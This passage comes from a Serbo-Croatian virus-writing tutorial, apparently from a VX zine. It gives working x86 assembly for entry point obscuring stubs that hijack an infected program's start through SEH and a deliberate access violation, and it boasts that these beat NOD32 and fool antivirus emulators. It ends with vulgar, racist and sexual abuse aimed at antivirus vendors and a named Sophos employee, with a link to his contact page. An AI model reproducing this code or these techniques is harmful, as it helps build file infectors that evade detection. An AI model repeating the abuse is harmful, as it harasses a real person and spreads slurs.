       push   [ebx.NT_OptionalHeader.OH_SizeOfImage]
       pop    [eax.SH_VirtualAddress]
       mov    [eax.SH_VirtualSize], 1000h
       mov    [eax.SH_Characteristics], IMAGE_SCN_MEM_WRITE
       or     [eax.SH_Characteristics], IMAGE_SCN_MEM_READ
       or     [eax.SH_Characteristics], IMAGE_SCN_CNT_UNINITIALIZED_DATA
       
Ostali clanovi IMAGE_SECTION_HEADER nisu bitni, jer je kod sasvim ok radio ovako...
Na ovaj nacin sam uspeo da sjebem NOD32, posle nekoliko neprospavanih noci,
trazeci pravo resenje...

AH 3. nacin
~~~~~~~~~~~
Hmmm ovo mi je sinulo radeci EPO, zasto bi trazili deltu u virusu kad EPO moze da 
nam je da, a to nije ni sumnjivo jer je rec o izvrsavanju samog programa i idemo 
na EPO odeljak
       

- EPO
~~~~~
EPO iliti Entry Point Obsecuring je tehnika koja se sastoji u tome da se originalan 
deo koda na koji pokazuje EntryPoint prebrise kodom koji ce preusmeriti tok 
izvrsavanja na virus. Moj virus radi sledece na offset 40h od pocetka fajla imamo
sledecu strukturu:
       Blackhand     struct
              signature     dd     ?
              virus_rva     dd     ?
              cryptkey1     dd     ?
              cryptkey2     dd     ?
       Blackhand     ends
       
Dakle nama su kod EPO interesantne sledece stvari -> virus_rva, i 2 kript kljuca
koja se cuvaju u samom inficiranom programu.
       
Kombinujuci SEH doso sam na ideju da ja ne trazim deltu vec da mi je moj EPO da.
Evo su tri moguca EPO koje moj virus koristi :
       
       host:     
                            sub  eax, eax
                            test eax, eax
                            jz   __gime_seh 
       __my_seh:
                            push dword ptr FS:[0]
                            mov  dword ptr FS:[0], esp
                            mov  dword ptr[eax], eax   ;Access violation
       __gime_seh:
                            call   __my_seh
       __seh_handler:
                            mov  esi, [esp+0ch]
                            mov  eax, FS:[30h]
                            mov  eax, dword ptr[eax+8] 
                            mov  ebx, dword ptr[eax+48h]   ; First crypte key
                            mov  edx, dword ptr[eax+4ch]   ; Second crypt key
                            add  eax, dword ptr[eax+44h]   ; RVA of a virus
                            mov  [esi.CONTEXT_Eip], eax
                            mov  [esi.CONTEXT_Eax], eax
                            mov  [esi.CONTEXT_Ebx], ebx
                            mov  [esi.CONTEXT_Edx], edx
                            sub  eax, eax
                            ret                      
       __end_host:


Ovaj EPO mi je iskreno najlepsi jer ce postaviti SEH i napraviti Access Violation 
i tok programa ce se prebaciti na SEH handler koji ce popuniti Context sa 
vrednostima koje meni trebaju. Tako da cu ulaskom u virus imati sledecu situaciju :
eax    -> adresa virusa
ebx    -> prvi kript kljuc
edx    -> drugi kript kljuc
+ ova tehnika je takodje ANTI-HEURISTIK jer koristi SEH da skoci na virus, a i 
prouzrokuje padanje programa sto emulatori nisu u stanju da kontrolisu i misle da
je pao program

       host1:		
                            mov eax, signature
                            push eax
                            pop edx
                            mov eax, dword ptr FS:[30h]
                            mov eax, dword ptr[eax + 8]
                            mov ebx, dword ptr[eax + 48h]
                            mov edx, dword ptr[eax + 4ch]
                            add eax, dword ptr[eax + 44h]
                            call eax
       __end_host1:

Drugi EPO koji u sustini radi isto sto i prvi, nista slozeno, prosto ka pasulj :)

       host2:    
                            push dword ptr FS:[30h]
                            pop  eax
                            mov eax, dword ptr[eax +8]
                            push dword ptr[eax+48h]
                            pop ebx
                            push dword ptr[eax+4ch]
                            pop edx
                            add eax, dword ptr[eax+44h]
                            push   eax
                            ret
       __end_host2: 
Treci EPO, slican kao i 2gi pa ga ne treba objasnjavati.
       
Ako ste pratili tok koda, sigurno vam je upalo u oci ovo :
       mov    eax, dword ptr FS:[30h]
       mov    eax, dowrd ptr [eax+8]
       
       kd> dt nt!_peb
       nt!_PEB
       +0x000 InheritedAddressSpace : UChar
       +0x001 ReadImageFileExecOptions : UChar
       +0x002 BeingDebugged    : UChar
       +0x003 SpareBool        : UChar
       +0x004 Mutant           : Ptr32 Void
       +0x008 ImageBaseAddress : Ptr32 Void
       +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
       +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
       +0x014 SubSystemData    : Ptr32 Void       
       ...
       
Dakle u PEB na offsetu 8 nalazi se adresa naseg programa ucitanog u memoriju.
To je to.

3. Zahvalnice/Pohvalnice
Pa svima koji su nonstop na #ugs kanalu :) Druge nemam da pozdravljam, jer su ovi 
momci do jaja gotivni likovi :)

Napusavanja:
Svim debilima koji tvrde da je KAV najbolji ->>> DUVAJTE GA GLUPI KASPERASI...
Svim debilima koji koriste Sophos ->>> Uaaaa picke, keve vam se jebu sa crncima...
Kasperski, jebo sam ti zenu... jebe se ko prava ruskinja... A ti kurca nemas, ne 
moze ti se digne jer si zauzet lovom na virusopisce... duvaj ga... 
Graham Cluley -> Debil is Sophosa koji siri lazi, SVINJCUGO, NE MOZES KURAC DA 
NADJES U SALU, TI CES DA NADJES VIRUS 
Pazite tu svinju : http://www.sophos.com/pressoffice/contacts/grahamc.html
Bolje da trci umesto sto sere

4. Izvori
       Sundance (reko ja da cu te stavim u ovaj deo :))
       29a zinovi - http://www.vx.netlux.org/29a/
       VX Heavens - http://www.vx.netlux.org
       Ovo je dovoljno da se napise virus...

              
